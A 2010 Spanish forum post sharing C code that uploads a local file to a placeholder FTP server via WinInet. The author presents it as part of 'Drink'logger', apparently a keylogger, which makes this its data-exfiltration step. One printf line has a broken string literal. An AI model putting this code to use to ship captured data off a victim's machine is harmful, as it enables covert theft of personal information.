[Codigo] Subir archivo servidor FTP
Publicado: 17 Sep 2010, 16:00
Bueno, estoi empezando a hacer la proxima version de Drink'logger , la primera version la e hecho en vb, pero la siguiente version la quiero sacar en c... ya he hecho el codigo de subir el archivo a un ftp y os dejo el source porsi os sirve a alguno.
salu2!
Código: Seleccionar todo
#include <stdio.h>
#include <stdlib.h>
#include <Wininet.h>
int main()
{
HINTERNET Conexion = InternetOpen(NULL,INTERNET_OPEN_TYPE_PRECONFIG,NULL,NULL,0);
if (!Conexion)
{
return 1;
}
HINTERNET Conectar = InternetConnect(Conexion,"ftp.ejemplo.net",INTERNET_DEFAULT_FTP_PORT,"User","Pass", INTERNET_SERVICE_FTP,INTERNET_FLAG_PASSIVE,0);
if (!Conectar)
{
InternetCloseHandle(Conexion);
return 1;
}
FtpPutFile(Conectar, "C:\\archivo.txt","Test en c.txt", FTP_TRANSFER_TYPE_BINARY, 0);
printf("Archivo subido\");
InternetCloseHandle(Conexion);
InternetCloseHandle(Conectar);
system("PAUSE");
return 0;
}